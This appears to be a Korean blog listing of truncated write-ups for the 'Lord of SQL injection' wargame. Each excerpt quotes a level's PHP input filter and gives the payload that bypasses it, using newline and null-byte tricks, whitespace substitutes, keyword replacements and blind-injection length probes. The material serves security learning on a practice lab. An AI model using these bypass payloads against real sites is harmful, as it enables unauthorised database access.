본문 바로가기

WarGame

(68)
[Lord of SQL injection] dragon 소스코드 분석$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";쿼리를 보게 되면 id='guest'# 주석이 달려있다. %0a 줄바꿈 문자를 사용하여 우회한다.select id from prob_dragon where id='guest'# and pw='%0a and pw='123' or id='admin'-> select id from prob_dragon where id='guest' and pw='123' or id='admin' ?pw=%0a%20and%20pw=%27%27%20or%20id=%27adminpw=%0a and pw='' or id='admin
[Lord of SQL injection] xavis 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 정규표현식이랑 like를 필터링하고 있다.나머지는 크게 다른게 없고 admin의 pw만 알면되는 Blind SQL injection문제다. 일단 길이부터 구해보면 40글자나 된다. 그리고 다른 Blind SQL injection 문제를 풀었던 소스코드로 돌려보니 0이 반환되었다, ?pw=%27%20or%20id=%27admin%27%20and%20length(pw)=40%23pw=' or id='admin' and length(pw)=40%23 한글자당 길이(byte)를 찾..
[Lord of SQL injection] nightmare 소스코드 분석 if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");if(strlen($_GET[pw])>6) exit("No Hack ~_~");각종 필터링에 pw는 6자리까지 사용할수있다.조건을 참만 만들어주면 풀린다.그리고 #, -- 주석이 필터링 되어있어서 ;%00 이걸로 대체한다. ?pw=%27)=0;%00 참은 1인데 왜 0을 넣어서 참값을 만들었냐면 mysql의 자동 형변환 때문이다.서로다른 타입을 비교하면 mysql은 2개를 같은 타입으로 비교를 한다.
[Lord of SQL injection] succubus 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/\'/i', $_GET[id])) exit("HeHe");if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; zombie_assassin 문제와 정말 흡사한데 ereg가 아닌 preg_match로 필터링 하고있다.싱글쿼터를 무효화 시켜야하는데 i..
[Lord of SQL injection] zombie_assassin 소스코드 분석if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(@ereg("'",$_GET[id])) exit("HeHe"); if(@ereg("'",$_GET[pw])) exit("HeHe"); 싱글쿼터를 우회만 하면되는데 그렇다할 방법을 못찾았다.그래서 ereg 함수의 취약점을 이용하자. ereg의 취약점은 Null값을 주면 필터링이 정상적으로 되지 않는다.(PHP 5.3 이상) ereg 대신 preg_match함수 사용을 권장그리고 id 값을 참으로만 만들면 문제가 풀린다. ?id=%00%..
[Lord of SQL injection] assassin 소스코드 분석if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_assassin where pw like '{$_GET[pw]}'";like 사용법like %abc : abc로 끝나는 값like abc% : abc로 시작하는 값like %abc% : abc가 들어가는 값 if($result['id'] == 'admin') solve("assassin"); 그리고 id = admin만 만족하면된다. import http.client result='' leng=0 header={'Cookie':' '} string="123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()_-=+0"..
[Lord of SQL injection] giant 소스코드 분석if(strlen($_GET[shit])>1) exit("No Hack ~_~"); if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");문자열 길이가 1을 넘으면안된다. 그리고 space, \n(줄 바꿈), \r(줄 처음), \t(tab)을 필터링 해놨다.이거 말고 다른 문자를 써서 풀면된다.ex)%0b, %0c ?shit=%0b
[Lord of SQL injection] bugbear 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); darkknight문제랑 상당히 흡사한데 or and space like 0x 를 필터링 해놨다.or -> ||, and -> &&, space -> %09(Tab), like -> IN 을 사용하면된다. ?pw=1234&no=123%09||%09id%09IN%09("admin")%09%26%26%09length(pw)%09IN%09(8) ?p..